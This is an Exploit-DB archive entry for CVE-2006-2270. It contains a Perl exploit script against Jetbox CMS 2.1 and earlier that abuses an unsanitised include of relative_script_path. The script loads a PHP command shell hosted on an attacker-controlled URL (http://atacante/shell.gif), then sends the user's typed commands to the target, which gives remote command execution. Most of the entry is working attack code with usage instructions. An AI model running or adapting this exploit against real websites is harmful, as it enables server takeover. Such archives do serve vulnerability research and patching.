Jetbox CMS <= 2.1 relative_script_path Remote File Inclusion Exploit

2006-05-07T00:00:00
ID EDB-ID:1761
Type exploitdb
Reporter beford
Modified 2006-05-07T00:00:00

Description

Jetbox CMS <= 2.1 (relative_script_path) Remote File Inclusion Exploit. CVE-2006-2270. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl
############
# JetBox CMS Remote File Include
# Exploit & Advisorie:  beford &lt;xbefordx gmail com&gt;
#
# uso:# 	perl own.pl &lt;host&gt; &lt;cmd-shell-url&gt; &lt;cmd-var&gt;
# 		perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd
#
# cmd shell example: &lt;? system($cmd); ?&gt;
# cmd variable: cmd;
#
#############
# Description
###########
# Vendor: http://jetbox.streamedge.com/
# The file jetbox/includes/phpdig/includes/config.php uses the variable 
# relative_script_path in a include() function without being declared. 
# This issue has already been fixed in phpdig, but jetbox still uses a 
# vulnerable version.
############
# Vuln code
############
#if (is_file("$relative_script_path/locales/$phpdig_language-language.php"))
#    {include "$relative_script_path/locales/$phpdig_language-language.php";}
#else
#    {include "$relative_script_path/locales/en-language.php";}
############

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while()
{
	print "[shell] \$";
	while(&lt;STDIN&gt;)      {
		$cmd=$_;
		chomp($cmd);
		if (!$cmd) {last;}  
		$xpl = LWP::UserAgent-&gt;new() or die;
		$req = HTTP::Request-&gt;new(GET =&gt;$Path.'includes/phpdig/includes/config.php?relative_script_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
		$res = $xpl-&gt;request($req);
		$return = $res-&gt;content;
		$return =~ tr/[\n]/[ĂŞ]/;
		
		if ($return =~/Error: HTTP request failed!/ ) {
			print "\nInvalid path for phpshell\n";
			exit;
		} elsif ($return =~/^&lt;br.\/&gt;.&lt;b&gt;Fatal.error/) {
			print "\nComando Invalido, o no hubo respuesta\n\n";
		}
		if ($return =~ /(.*)/) {
			$finreturn = $1;
			$finreturn=~ tr/[ĂŞ]/[\n]/;
			print "\r\n$finreturn\n\r";
			last;
		} else {
			print "[shell] \$";
		}

	}

} last;

sub head()  { 
	 print "\n============================================================================\r\n";
	 print " JetBox CMS Remote File Include\r\n";
	 print "============================================================================\r\n";
 }
 
sub usage() {
	 head();
	 print " Usage: perl own.pl &lt;host&gt; &lt;url-cmd&gt; &lt;var&gt;\r\n\n";
	 print " &lt;host&gt; - Full Path : http://host/jetbox/ [remember the trailing slash noob]\r\n";
	 print " &lt;url-cmd&gt; - PhpShell : http://atacate/shell.gif \r\n";
	 print " &lt;var&gt; - var name used in phpshell : cmd  \r\n";
	 exit();
 }

# milw0rm.com [2006-05-07]